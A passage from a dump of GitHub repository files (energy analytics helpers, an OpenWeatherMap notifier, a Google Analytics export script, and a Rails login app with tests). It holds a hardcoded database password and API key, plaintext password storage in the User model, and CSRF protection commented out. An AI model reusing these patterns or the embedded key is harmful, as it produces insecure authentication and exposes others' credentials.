gethistoricaldata(bid, startdate, daysago):\n start = startdate - datetime.timedelta(days=daysago)\n stop = start + datetime.timedelta(days=1)\n\n return util.building.getdata(bid, start, stop)\n\n\ndef getaverage(bid, startdate, maxtimeframes, timeframe):\n timeframesago = 0\n datasets = []\n for i in xrange(maxtimeframes):\n timeframesago += 1\n data = gethistoricaldata(bid, startdate, timeframesago * timeframe)\n\n # Extract kwh\n data = [x[1] for x in data]\n\n if len(data) == 0:\n break\n else:\n datasets.append(data)\n\n # Make sure dataset lengths are the same\n lens = [len(x) for x in datasets]\n if lens[1:] != lens[:-1]:\n print lens\n print 'Unequal data set lengths (daylight savings or missing data)'\n return\n\n # Create average\n return [sum(x) / len(x) for x in zip(*datasets)]\n" }, { "alpha_fraction": 0.690625011920929, "alphanum_fraction": 0.721875011920929, "avg_line_length": 21.85714340209961, "blob_id": "fa72a62cf964a8494f23f938ef7d050d66fbab50", "content_id": "467db79ce316e8e0ac08c9ccc653b5c9027f1f83", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 320, "license_type": "no_license", "max_line_length": 89, "num_lines": 14, "path": "/analytics/util/database.py", "repo_name": "ubc-capstone-real-time-energy-display/analytics", "src_encoding": "UTF-8", "text": "import sys\nimport MySQLdb as mysql\n\n# Database information\nhost = \"127.0.0.1\"\nport = 8889\nusername = \"capstone\"\npassword = \"abc123\"\n\n# Connect to the database\n# Returns: Database object\ndef connect(database=\"\"):\n db = mysql.connect(host=host, port=port, user=username, passwd=password, db=database)\n return db\n" }, { "alpha_fraction": 0.62321537733078, "alphanum_fraction": 0.6312848925590515, "avg_line_length": 26.305084228515625, "blob_id": "602114dd25ff90590133dabe75b5f16d7112527e", "content_id": "44f5dee2fa77da02d230d0766d2739a7f0ed8161", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1611, "license_type": "no_license", "max_line_length": 104, "num_lines": 59, "path": "/analytics/visualize.py", "repo_name": "ubc-capstone-real-time-energy-display/analytics", "src_encoding": "UTF-8", "text": "import sys\nimport datetime\nimport numpy\nfrom importlib import import_module\nimport matplotlib.pyplot as plt\nimport util.building\nfrom dateutil.parser import parse\n\nmetricspackage = 'metrics'\n\ndef _loadmetric(metric):\n metricsmodule = import_module('%s.%s' % (metricspackage, metric))\n run = getattr(metricsmodule, 'run')\n return run\n \n\ndef _plotday(metric, title, x, y_day, y_calculated, y):\n f, axarr = plt.subplots(2, sharex=True)\n\n f.canvas.set_window_title(metric)\n\n # Subplot A: Separate data\n axarr[0].set_title(title)\n axarr[0].plot(x, y_day, 'r')\n axarr[0].plot(x, y_calculated, 'g')\n axarr[0].set_ylabel(\"kWh\")\n\n # Subplot B: Visualization\n axarr[1].plot(x, y, 'r')\n axarr[1].axhline(0, color='black')\n axarr[1].set_ylabel(\"% change\")\n axarr[1].set_xlabel(\"Time (15 min intervals)\")\n\n plt.show()\n\n\ndef visualize(metric, buildingname, date):\n bid = util.building.getbid(buildingname)\n\n try:\n # Load the metric and run it\n run = _loadmetric(metric)\n x, y_day, y_calculated, y_visual = run(bid, date)\n\n # Plot\n datetime = parse(date)\n title = \"%s: %s [red=today, green=metric]\" % (buildingname, datetime.strftime(\"%b %d, %Y (%a)\"))\n\n _plotday(metric, title, x, y_day, y_calculated, y_visual)\n except Exception, msg:\n print msg\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 3:\n print 'Incorrect usage: python visualize.py [metric] [buildingname] [date (YYYY-MM-DD)]'\n else:\n script, metric, buildingname, date = sys.argv\n visualize(metric, buildingname, date)\n" }, { "alpha_fraction": 0.686092734336853, "alphanum_fraction": 0.687417209148407, "avg_line_length": 21.878787994384766, "blob_id": "4315548dc3396be28b285d13961f0e7ac39f04f8", "content_id": "ba593634763aee0b947683c0b85c1a07f844271c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 755, "license_type": "no_license", "max_line_length": 133, "num_lines": 33, "path": "/analytics/util/building.py", "repo_name": "ubc-capstone-real-time-energy-display/analytics", "src_encoding": "UTF-8", "text": "import database\n\ndatabasename = \"capstone\"\n\ndef _getcursor(databasename):\n db = database.connect(databasename)\n return db.cursor()\n\n\ndef getbid(buildingname):\n c = _getcursor(databasename)\n c.execute(\"SELECT bid FROM buildings WHERE name=%s\", (buildingname,))\n\n bid = c.fetchone()[0]\n c.close()\n\n return bid\n\n\"\"\"\nGet energy usage data for the given building between two dates\n\n@param bid int\n@param dateStart string (YYYY-MM-DD)\n@param dateStop string (YYYY-MM-DD)\n\"\"\"\ndef getdata(bid, dateStart, dateStop):\n c = _getcursor(databasename)\n c.execute(\"SELECT timestamp, demand FROM energy_data WHERE (timestamp BETWEEN %s AND %s) AND bid=%s\", (dateStart, dateStop, bid))\n\n data = c.fetchall()\n c.close()\n\n return data\n" } ]
13
MogitBT/Weather-Notification-
https://github.com/MogitBT/Weather-Notification-
3ea2d83f57e3d8de802006dbc6797bebf4ec3732
658b27b2e32ec15e01039d103d9416d488e457c9
b29ed1c20c5bc6e3f9f637a99b3cec718b72e105
refs/heads/main
2023-06-25T06:48:12.174634
2021-07-27T05:03:59
2021-07-27T05:03:59
389,854,599
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6039697527885437, "alphanum_fraction": 0.6342154741287231, "avg_line_length": 20.59183692932129, "blob_id": "bcb55e390aab18756f9e11d530cfabbb966cd7ea", "content_id": "163d9939dd2a349d8720d8cab9c50652ecf90cd9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1058, "license_type": "no_license", "max_line_length": 67, "num_lines": 49, "path": "/weather for windows.py", "repo_name": "MogitBT/Weather-Notification-", "src_encoding": "UTF-8", "text": "\"\"\"\n\tThis the program to update weather using API\n\"\"\"\nimport json\nimport requests\nfrom win10toast import ToastNotifier\ntoaster = ToastNotifier()\n\ndef set_up():\n \"\"\"\n Getting data from openweather api\n returns the required city data.\n \"\"\"\n api_key=\"7ce43904011785d4649ae9b510a42555\"\n city1=\"coimbatore\"\n domain =\"http://api.openweathermap.org\"\n my_url=\"{}/data/2.5/weather?q={}&appid={}&units=metric\".format(\n\t\tdomain,\n\t\tcity1,\n\t\tapi_key\n \t\t\t\t)\n response=requests.get(my_url)\n data=json.loads(response.text)\n return data\n\ndef notify(temp,humidity):\n \"\"\"\n notify the temperature and humidity\n \"\"\"\n toaster.show_toast(\n title= f'''weather Condition - Coimbatore\n temperature={temp}humidity={humidity}\n ''',\n \n duration=5,\n #urgency='normal'\n )\n\ndef get_data(info):\n \"\"\"\n Getting the required city data.\n \"\"\"\n temp=info[\"main\"][\"temp\"]\n humidity=info[\"main\"][\"humidity\"]\n notify(temp,humidity)\n print(\"climate is updated\")\n\nif __name__ == \"__main__\":\n get_data(set_up())\n" } ]
1
przempb/google_analytics_data_download_api
https://github.com/przempb/google_analytics_data_download_api
cbfd40e5ef4a4171665ed5769289432d22589747
6fcb899f5cacb65b885e843f9e17fc19d3eef77e
f9724ffd82d7fc4cc61a3f8fbbe48de1aa4ccca6
refs/heads/main
2023-07-15T04:40:19.187043
2021-08-23T07:54:48
2021-08-23T07:54:48
399,011,082
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6534852385520935, "alphanum_fraction": 0.6618632674217224, "avg_line_length": 31.791208267211914, "blob_id": "134820ecca3b42c58799745f4210ba28d3c5563a", "content_id": "5bfa36651e26802241c93dba21c479e02ac41b8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2984, "license_type": "no_license", "max_line_length": 152, "num_lines": 91, "path": "/main.py", "repo_name": "przempb/google_analytics_data_download_api", "src_encoding": "UTF-8", "text": "#TODO: CLEAN AND COMMENT FILE\n\nfrom apiclient.discovery import build\nfrom oauth2client.service_account import ServiceAccountCredentials #you may need to use pip install --upgrade google-api-python-client oauth2client\nimport pandas as pd\n\n\nSCOPES = ['https://www.googleapis.com/auth/analytics.readonly']\nKEY_FILE_LOCATION = 'credentials.json' #deliver your credentials.json file from Google Cloud Platrofm IAM - more info about authorization in readme file\nVIEW_ID = 'PASS HERE YOUR GOOGLE ANALYTICS VIEW ID'\n\n\n\ndef initialize_analyticsreporting():\n \"\"\"Initializes an Analytics Reporting API V4 service object.\n\n Returns:\n An authorized Analytics Reporting API V4 service object.\n \"\"\"\n credentials = ServiceAccountCredentials.from_json_keyfile_name(\n KEY_FILE_LOCATION, SCOPES)\n\n # Build the service object.\n analytics = build('analyticsreporting', 'v4', credentials=credentials)\n\n return analytics\n\n\ndef get_report(analytics):\n \"\"\"Queries the Analytics Reporting API V4.\n\n Args:\n analytics: An authorized Analytics Reporting API V4 service object.\n Returns:\n The Analytics Reporting API V4 response.\n \"\"\"\n report = analytics.reports().batchGet(\n body={\n 'reportRequests': [\n {\n 'viewId': VIEW_ID, #HERE YOU PASS SPECIFIC METRICS AND DIMENSIONS YOU ARE INTERESTED IN\n 'dateRanges': [{'startDate': '2021-04-01', 'endDate': 'today'}],\n 'metrics': [{'expression': 'ga:totalValue'},\n # {'expression': 'ga:transactionRevenue'},\n ],\n 'dimensions': [{\"name\": \"ga:date\"},\n {'name': 'ga:sourceMedium'},\n {\"name\": \"ga:transactionId\"},],\n # 'orderBys': [{\"fieldName\": \"ga:totalValue\", \"sortOrder\": \"DESCENDING\"}],\n 'pageSize': 1000\n }]\n }\n ).execute()\n dimensions = report['reports'][0]['columnHeader']['dimensions']\n metrics = report['reports'][0]['columnHeader']['metricHeader']['metricHeaderEntries']\n metrics_headers = []\n for names in metrics:\n name = names['name']\n metrics_headers.append(name)\n merged_headers = dimensions + metrics_headers\n\n return report, merged_headers\n\n\ndef print_response(response):\n \"\"\"Parses and prints the Analytics Reporting API V4 response.\n\n Args:\n response: An Analytics Reporting API V4 response.\n \"\"\"\n for report in response.get('reports', []):\n listofrows = []\n for row in report.get('data', {}).get('rows', []):\n dimensions = row.get('dimensions', [])\n dateRangeValues = row.get('metrics', [])\n values = dateRangeValues[0][\"values\"]\n rows = dimensions + values\n listofrows.append(rows)\n return listofrows\n\n\ndef main():\n analytics = initialize_analyticsreporting()\n response, dimensions = get_report(analytics)\n analytics_raw_data = print_response(response)\n df = pd.DataFrame(analytics_raw_data, columns=dimensions)\n df.to_excel(\"analytics_report.xlsx\")\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.785345733165741, "alphanum_fraction": 0.792569637298584, "avg_line_length": 73.53845977783203, "blob_id": "d71ff258e4d501dab96361cc03af34a12109a704", "content_id": "7365045a93b03e4b281190a7ab27d2fcdf2c24b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 969, "license_type": "no_license", "max_line_length": 175, "num_lines": 13, "path": "/README.md", "repo_name": "przempb/google_analytics_data_download_api", "src_encoding": "UTF-8", "text": "# google_analytics_data_download_api\nA bit optimized way of downloading Google Analytics data to excel spreadsheet.\nMost of the source code comes from Google Analytics API documentation: https://developers.google.com/analytics/devguides/reporting/core/v4/quickstart/service-py\n\nHow to get an authorization?\n1. Log in to Google Cloud Platform.\n2. Go to APIs & Services. From Library enable Google Analytics API.\n3. Go to IAM & Admin > Service accounts. Create new service account.\n4. Click on Actions button > Manage Keys. Generate and download new key using ADD KEY. Please remember to keep it safe on your device.\n5. Go back to Service Accounts and copy generated service email. Now you have to add that e-mail address to your Google Analytics view as user as least with Read credentials.\n \n\nTip 1. If you want to check the possibility of mixing specific dimensions and metrics, you can check it in the request composer: https://ga-dev-tools.web.app/request-composer/\n" } ]
2
alaskasaur/rapture_index
https://github.com/alaskasaur/rapture_index
2700d37fd4ee55c6e9edfde81d1bcda9f78ca7e6
47ecfec81b4f67b204967c6daef23f8aee33468b
545a3a0b43e8fa6d6a91109287e282b9e37de115
refs/heads/master
2021-01-10T14:22:52.355423
2015-11-11T17:13:38
2015-11-11T17:13:38
45,996,797
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5589437484741211, "alphanum_fraction": 0.5617730021476746, "avg_line_length": 43.802818298339844, "blob_id": "95a9eee1da1ca44c1990070fea141f7c174166f4", "content_id": "1f3701eb536ca7e9b58f33608e6dc9bb6a9d6492", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3181, "license_type": "no_license", "max_line_length": 124, "num_lines": 71, "path": "/scraper.py", "repo_name": "alaskasaur/rapture_index", "src_encoding": "UTF-8", "text": "###############################################################################\n# START HERE: Tutorial 2: Basic scraping and saving to the data store.\n# Follow the actions listed in BLOCK CAPITALS below.\n###############################################################################\n\nimport scraperwiki\nimport re\nimport lxml.html # To parse HTML\nfrom lxml.html.clean import Cleaner # To get rid of unneeded HTML tags\nimport time\nhtml = scraperwiki.scrape('http://www.raptureready.com/rap2.html')\nprint \"Click on the ...more link to see the whole page\"\n\n# -----------------------------------------------------------------------------\n# 1. Parse the raw HTML to get the interesting bits - the part inside <td> tags.\n# -- UNCOMMENT THE 6 LINES BELOW (i.e. delete the # at the start of the lines)\n# -- CLICK THE 'RUN' BUTTON BELOW\n# Check the 'Console' tab again, and you'll see how we're extracting \n# the HTML that was inside <td></td> tags.\n# We use lxml, which is a Python library especially for parsing html.\n# -----------------------------------------------------------------------------\n\nhtml = html.replace('<br>', ' ')\nhtml = re.sub(r'(\\&.*?;)|(\\n|\\t|\\r)',' ',html)\nprint html\nissues = []\nroot = lxml.html.fromstring(html) # turn our HTML into an lxml object\ncleaner = Cleaner(remove_tags=['font','span'], links=False, remove_unknown_tags=False)\nroot = cleaner.clean_html(root)\nnewhtml = lxml.html.tostring(root)\n\nrecord = {}\ndatestring = re.findall(\"Updated (.*?)</p>\",newhtml)[0]\ndate = time.strptime(datestring, '%b %d, %Y') # encode the date as a date using format Month dd, YYYY\ndate = time.strftime('%Y-%m-%d', date) # decode that date back into a string of format YYYY-mm-dd\n\nif scraperwiki.sqlite.get_var('last_update') == None or scraperwiki.sqlite.get_var('last_update') != date:\n record[\"Date\"] = date\n\n lis = root.cssselect('li') # get all the <li> tags\n for li in lis:\n li.text = re.sub(r'(\\w+) \\((\\w+)\\)',r'\\1 - \\2',li.text)\n li.text = li.text.replace('/',' and ')\n issues.append(li.text.strip()) # just the text inside the HTML tag\n \n scorestring = ''\n tds = root.cssselect('td')\n for td in tds:\n if td.text and re.match('\\d[^\\d]', td.text.strip()):\n scorestring = scorestring + ' ' + td.text.strip()\n scores = re.sub('(\\+|-)\\d','',scorestring).split()\n scores = [int(x) for x in scores]\n print scores\n \n record = dict(zip(issues,scores))\n print record\n total = 0\n for issue,score in record.items():\n total = total + score\n #print len(scores)\n #print len(issues)\n record[\"Total\"] = total\n print record\n datestring = re.findall(\"Updated (.*?)</p>\",newhtml)[0]\n date = time.strptime(datestring, '%b %d, %Y') # encode the date as a date using format Month dd, YYYY\n date = time.strftime('%Y-%m-%d', date) # decode that date back into a string of format YYYY-mm-dd\n print date\n record[\"Date\"] = date\n \n scraperwiki.sqlite.save([\"Date\"], record) # save the records one by one\n scraperwiki.sqlite.save_var('last_update', date)\n" } ]
1
graysonc/CS169-Warmup
https://github.com/graysonc/CS169-Warmup
2ba69b12fe75f830b91843530ab225444e4d6412
5eeff5007c2ce1ffaa834e7ecfa28042b1b58604
8427c57def7fdd6f83e2d1ed673b70ab73fff2d3
refs/heads/master
2021-05-16T03:20:03.402234
2014-02-23T14:17:50
2014-02-23T14:17:50
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5796812772750854, "alphanum_fraction": 0.6065737009048462, "avg_line_length": 19.489795684814453, "blob_id": "38d1f8f7d289e8994c50a42fd1ac7962abf1692e", "content_id": "42491cd898523b51ebb98afa2016ec63245815bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 1004, "license_type": "no_license", "max_line_length": 51, "num_lines": 49, "path": "/app/models/user.rb", "repo_name": "graysonc/CS169-Warmup", "src_encoding": "UTF-8", "text": "class User < ActiveRecord::Base\n\n SUCCESS = 1\n ERR_BAD_CREDENTIALS = -1\n ERR_USER_EXISTS = -2 \n ERR_BAD_USERNAME = -3 \n ERR_BAD_PASSWORD = -4\n\n MAX_PASSWORD_LENGTH = 128\n MAX_USERNAME_LENGTH = 128\n\n # Returns a tuple of [USER login ct, error code].\n def self.login(user, pass)\n\n if !pass or pass.length > 128 then\n return [0, ERR_BAD_CREDENTIALS]\n end\n\n u = User.find_by_name_and_password(user, pass)\n if u then\n u.logins += 1\n u.save\n return [u.logins, SUCCESS]\n else\n [0, ERR_BAD_CREDENTIALS]\n end\n end\n\n # Returns a tuple of [USER login ct, error code].\n def self.add(user, pass)\n\n if user == '' or user.length > 128 then\n return [0, ERR_BAD_USERNAME]\n elsif !pass or pass.length > 128 then\n return [0, ERR_BAD_PASSWORD]\n elsif User.find_by_name(user) then\n return [0, ERR_USER_EXISTS]\n end\n\n u = User.new\n u.name = user\n u.password = pass\n u.logins = 1\n u.save\n\n [u.logins, SUCCESS]\n end\n\nend\n" }, { "alpha_fraction": 0.614503800868988, "alphanum_fraction": 0.6170483231544495, "avg_line_length": 24.354839324951172, "blob_id": "4c90b50f5488078c16a576b3061b687944b9d050", "content_id": "73d45113c21fa1ee76484fb1bd112d78af1dc069", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 786, "license_type": "no_license", "max_line_length": 72, "num_lines": 31, "path": "/app/controllers/users_controller.rb", "repo_name": "graysonc/CS169-Warmup", "src_encoding": "UTF-8", "text": "class UsersController < ApplicationController\n #before_filter :ensure_json_request\n\n def add\n name = request[\"user\"]\n password = request[\"password\"]\n\n # Not strictly necessary to assign to ivars like this,\n # but it makes it easier to screw around with JSON response crafting\n @count, @errCode = User.add(name, password)\n\n if @count > 0 then\n render :json => { :errCode => @errCode, :count => @count}\n else\n render :json => { :errCode => @errCode }\n end\n end\n\n def login\n name = request[\"user\"]\n password = request[\"password\"]\n\n @count, @errCode = User.login(name, password)\n if @count > 0 then\n render :json => { :errCode => @errCode, :count => @count}\n else\n render :json => { :errCode => @errCode }\n end\n end\n\nend\n" }, { "alpha_fraction": 0.7596153616905212, "alphanum_fraction": 0.7596153616905212, "avg_line_length": 13.857142448425293, "blob_id": "0f746d6e1e920c7cfa1f9bef0ac3b0c688ecb022", "content_id": "15a8eefd5ef3d7f87193306f7830d2bf47ab31ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 104, "license_type": "no_license", "max_line_length": 44, "num_lines": 7, "path": "/app/controllers/flow_controller.rb", "repo_name": "graysonc/CS169-Warmup", "src_encoding": "UTF-8", "text": "# Controls the UI flow of the app.\nclass FlowController < ApplicationController\n\n def index\n end\n\nend\n" }, { "alpha_fraction": 0.6159291863441467, "alphanum_fraction": 0.6283186078071594, "avg_line_length": 23.565217971801758, "blob_id": "84d07b4a6c57f5868a4153233b331c9437f78212", "content_id": "88d9184c5321c1dfad883ac78899f7c88ec99b61", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 565, "license_type": "no_license", "max_line_length": 58, "num_lines": 23, "path": "/app/controllers/testapi_controller.rb", "repo_name": "graysonc/CS169-Warmup", "src_encoding": "UTF-8", "text": "# Handles TESTAPI calls.\nclass TestapiController < ApplicationController\n \n def reset_fixture\n User.destroy_all\n render :json => { :errCode => 1 }\n end\n\n def unit_tests\n\n # Backticks return the output of the command inside\n testresults = `rake spec`\n splitresults = testresults.split(\"\\n\")[-3].split(\", \")\n\n numtests = splitresults[0].split(\" \")[0].to_i\n numfails = splitresults[1].split(\" \")[0].to_i\n render :json => { :errCode => 1,\n :totalTests => numtests,\n :nrFailed => numfails,\n :output => testresults }\n end\n\nend\n" }, { "alpha_fraction": 0.7099447250366211, "alphanum_fraction": 0.7182320356369019, "avg_line_length": 31.909090042114258, "blob_id": "e224a173b64835a0722e4e4e060ca12d2317fcd5", "content_id": "d38e31518ba9f211aa79cf5654eda12c6cf09bb5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 362, "license_type": "no_license", "max_line_length": 69, "num_lines": 11, "path": "/app/controllers/application_controller.rb", "repo_name": "graysonc/CS169-Warmup", "src_encoding": "UTF-8", "text": "class ApplicationController < ActionController::Base\n # Prevent CSRF attacks by raising an exception.\n # For APIs, you may want to use :null_session instead.\n #protect_from_forgery with: :exception\n\n def ensure_json_request\n unless request.headers[\"Content-Type\"] == 'application/json' then\n render :nothing => true, :status => 406\n end\n end\nend\n" }, { "alpha_fraction": 0.5868757963180542, "alphanum_fraction": 0.5959554314613342, "avg_line_length": 22.754901885986328, "blob_id": "714d5f166a1c534d71375f5b69b0240571ca8538", "content_id": "17c28be9dd0d743f8d68cdf56270dea97b278d39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2423, "license_type": "no_license", "max_line_length": 76, "num_lines": 102, "path": "/app/assets/javascripts/flow.js", "repo_name": "graysonc/CS169-Warmup", "src_encoding": "UTF-8", "text": "function errorMessage(errCode) {\n\tif (errCode == '-1') {\n\t\treturn \"Invalid username and password combination. Please try again.\";\n\t}\n\n\tif (errCode == '-2') {\n\t\treturn \"This user name already exists. Please try again.\";\n\t}\n\n\tif (errCode == '-3') {\n\t\treturn \"The user name should not be empty. Please try again.\";\n\t}\n}\n\nfunction ajaxRequest(url, data) {\n\t$.ajax({\n\t\ttype: 'POST',\n\t\turl: url,\n\t\tdata: data,\n\t\tcontentType: \"application/json\",\n\t\tsuccess: success,\n\t\tfailure: failure\n\t});\n}\n\nfunction success(data) {\n\tvar errCode = data['errCode'];\n\tconsole.log(errCode);\n\tif (errCode == '1') {\n\t\tvar count = data['count'];\n\t\t$('#msg').html(\n\t\t\t\"Hello \" + $('#user').val() + \", you have logged in \" + count + \" times.\"\n\t\t);\n\t\tvar oldInnerHTML = $('.login.box.inner').html();\n\t\t$('.login.box.inner').html(\n\t\t\t\"<div class='btn-box'>\" +\n\t\t\t\"<a class='logout btn' id='logout-btn' href='javascript:'>Logout</a>\" +\n\t\t\t\"</div>\"\n\t\t);\n\t\t$('#logout-btn').click(function() {\n\t\t\t$('.login.box.inner').html(oldInnerHTML);\n\t\t\treset();\n\t\t});\n\n\t} else {\n\t\t$('#msg').html(\n\t\t\terrorMessage(errCode)\n\t\t);\n\t}\n}\n\n/* This should never happen assuming an OK backend */\nfunction failure(data) {\n\t$('#msg').html(\"An internal error occurred.\");\n}\n\n/* Reset the DOM. */\nfunction reset() {\n\t$('#msg').html(\"Please enter your credentials below.\");\n\n\t/* Change me to your backend URL of choice. */\n\tvar baseURL = \"/\";\n\n\t$('#login-btn').click(function() {\n\t\tvar data = {\n\t\t\t'user': $('#user').val(),\n\t\t\t'password': $('#password').val()\n\t\t};\n\t\tajaxRequest(baseURL + 'users/login', JSON.stringify(data));\n\t});\n\n\t$('#add-btn').click(function() {\n\t\tvar data = {\n\t\t\t'user': $('#user').val(),\n\t\t\t'password': $('#password').val()\n\t\t};\n\t\tajaxRequest(baseURL + 'users/add', JSON.stringify(data));\n\t});\n}\n\n$(document).ready(function() {\n\treset();\n\tvar width = $('body').width();\n\t$('#midground').css({'background-position-x': width});\n\t$('#foreground').css({'background-position-x': width});\n\t$('body').css({'background-position-x': width});\n\n\t/* Node is a DOM node */\n\tvar animateStars = function(node, distance, speed) {\n\t\t$(node).animate({\n\t\t\t\"background-position-x\": distance,\n\t\t}, speed, 'linear', function() {\n\t\t\t$(node).css({'background-position-x': width});\n\t\t\tanimateStars(node, distance, speed);\n\t\t});\n\t}\n\n\tanimateStars($('body'), width * 2, 96000);\n\tanimateStars($('#midground'), width * 2, 54000);\n\tanimateStars($('#foreground'), width * 2, 36000);\n\n});\n" }, { "alpha_fraction": 0.6598639488220215, "alphanum_fraction": 0.6632652878761292, "avg_line_length": 20.77777862548828, "blob_id": "b56a5d4ec80d84b9f720ec45a7006a371824fae6", "content_id": "70b7ea2f004174099e55cf114d8a20f91d7484c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 588, "license_type": "no_license", "max_line_length": 54, "num_lines": 27, "path": "/test/controllers/users_controller_test.rb", "repo_name": "graysonc/CS169-Warmup", "src_encoding": "UTF-8", "text": "require 'test_helper'\n\nclass UsersControllerTest < ActionController::TestCase\n # test \"the truth\" do\n # assert true\n # end\n #\n\n test \"add should always return an errCode\" do\n post :add, post: {user: \"abc\", password: \"def\"}\n assert_response :success\n assert_not_nil assigns(:errCode)\n end\n\n test \"add should handle blank fields\" do\n post :add, post: {}\n assert_response :success\n assert assigns(:errCode) != 1\n end\n\n test \"login should handle blank fields\" do\n post :login, post: {}\n assert_response :success\n assert assigns(:errCode) != 1\n end\n\nend\n" }, { "alpha_fraction": 0.6286047101020813, "alphanum_fraction": 0.6344305276870728, "avg_line_length": 52.640625, "blob_id": "9194845a7920e884e66e221039ae77e9196cc4dc", "content_id": "f1088667bf8b3a9ec86e05320166b8673306224e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3433, "license_type": "no_license", "max_line_length": 131, "num_lines": 64, "path": "/testAdditional.py", "repo_name": "graysonc/CS169-Warmup", "src_encoding": "UTF-8", "text": "import unittest\nimport os\nimport testLib\n\nclass TestLogin(testLib.RestTestCase):\n def assertResponse(self, respData, count = 1, errCode = testLib.RestTestCase.SUCCESS):\n \"\"\"\n Check that the response data dictionary matches the expected values\n \"\"\"\n expected = { 'errCode' : errCode }\n if count is not None:\n expected['count'] = count\n self.assertDictEqual(expected, respData)\n\n def testLoginUser(self):\n self.makeRequest(\"/users/add\", method=\"POST\", data = { 'user' : 'user1', 'password': 'password' })\n respData = self.makeRequest(\"/users/login\", method=\"POST\", data = { 'user' : 'user1', 'password' : 'password'} )\n self.assertResponse(respData, count = 2)\n\n def testLoginWrong(self):\n respData = self.makeRequest(\"/users/login\", method=\"POST\", data = { 'user' : 'user1', 'password' : 'notthepassword'} )\n self.assertResponse(respData, count = None, errCode =\n testLib.RestTestCase.ERR_BAD_CREDENTIALS)\n def testLoginTwice(self):\n self.makeRequest(\"/users/add\", method=\"POST\", data = { 'user' : 'user1', 'password': 'password' })\n self.makeRequest(\"/users/login\", method=\"POST\", data = { 'user' : 'user1', 'password' : 'password'} )\n respData = self.makeRequest(\"/users/login\", method=\"POST\", data = { 'user' : 'user1', 'password' : 'password'} )\n self.assertResponse(respData, count = 3)\n\n def testLoginBlank(self):\n respData = self.makeRequest(\"/users/login\", method=\"POST\", data = { 'user' : '', 'password' : 'hello'} )\n self.assertResponse(respData, count = None, errCode = testLib.RestTestCase.ERR_BAD_CREDENTIALS)\n\n\nclass TestAdd(testLib.RestTestCase):\n def assertResponse(self, respData, count = 1, errCode = testLib.RestTestCase.SUCCESS):\n \"\"\"\n Check that the response data dictionary matches the expected values\n \"\"\"\n expected = { 'errCode' : errCode }\n if count is not None:\n expected['count'] = count\n self.assertDictEqual(expected, respData)\n\n def testAddTwice(self):\n self.makeRequest(\"/users/add\", method=\"POST\", data = { 'user' : 'user1', 'password': 'password' })\n respData = self.makeRequest(\"/users/add\", method=\"POST\", data = { 'user' : 'user1', 'password': 'password' })\n self.assertResponse(respData, count = None, errCode = testLib.RestTestCase.ERR_USER_EXISTS)\n\n def testBadPass(self):\n respData = self.makeRequest(\"/users/add\", method=\"POST\", data = { 'user' : 'user1', 'password': '11charstring' * 13 })\n self.assertResponse(respData, count = None, errCode = testLib.RestTestCase.ERR_BAD_PASSWORD)\n\n def testBadName(self):\n respData = self.makeRequest(\"/users/add\", method=\"POST\", data = { 'password' : 'user1', 'user': '11charstring' * 13 })\n self.assertResponse(respData, count = None, errCode = testLib.RestTestCase.ERR_BAD_USERNAME)\n\n def testAddBlankName(self):\n respData = self.makeRequest(\"/users/add\", method=\"POST\", data = { 'user' : '', 'password': '' })\n self.assertResponse(respData, count = None, errCode = testLib.RestTestCase.ERR_BAD_USERNAME)\n\n def testAddBlankPass(self):\n respData = self.makeRequest(\"/users/add\", method=\"POST\", data = { 'user' : 'badmemory', 'password': '' })\n self.assertResponse(respData, count = 1, errCode = testLib.RestTestCase.SUCCESS)\n" }, { "alpha_fraction": 0.7076923251152039, "alphanum_fraction": 0.7076923251152039, "avg_line_length": 20.66666603088379, "blob_id": "40deee3d584f8177e0b66e549ab2752f9d9609d0", "content_id": "9086f8a37b68f47410bdf84463838dd8ed8932c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 260, "license_type": "no_license", "max_line_length": 60, "num_lines": 12, "path": "/test/controllers/testapi_controller_test.rb", "repo_name": "graysonc/CS169-Warmup", "src_encoding": "UTF-8", "text": "require 'test_helper'\n\nclass TestapiControllerTest < ActionController::TestCase\n # test \"the truth\" do\n # assert true\n # end\n\n test \"resetFixture should respond with only an errCode\" do\n post :reset_fixture, post: {}\n assert_response :ok\n end\nend\n" }, { "alpha_fraction": 0.6890848875045776, "alphanum_fraction": 0.6973538994789124, "avg_line_length": 48.02702713012695, "blob_id": "03b16f7abb2115adb3076f72669393047c4f8878", "content_id": "de14569f7619d019a1ccdd3b8efd2d68cb2a145a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 1820, "license_type": "no_license", "max_line_length": 455, "num_lines": 37, "path": "/test/models/user_test.rb", "repo_name": "graysonc/CS169-Warmup", "src_encoding": "UTF-8", "text": "require 'test_helper'\n\nclass UserTest < ActiveSupport::TestCase\n # test \"the truth\" do\n # assert true\n # end\n #\n\n test \"users can be added\" do\n if User.find_by_name(\"jon\") then\n User.find_by_name(\"jon\").destroy\n end\n User.add(\"jon\", \"wayne\")\n assert User.find_by_name_and_password(\"jon\", \"wayne\")\n end\n \n test \"users can log 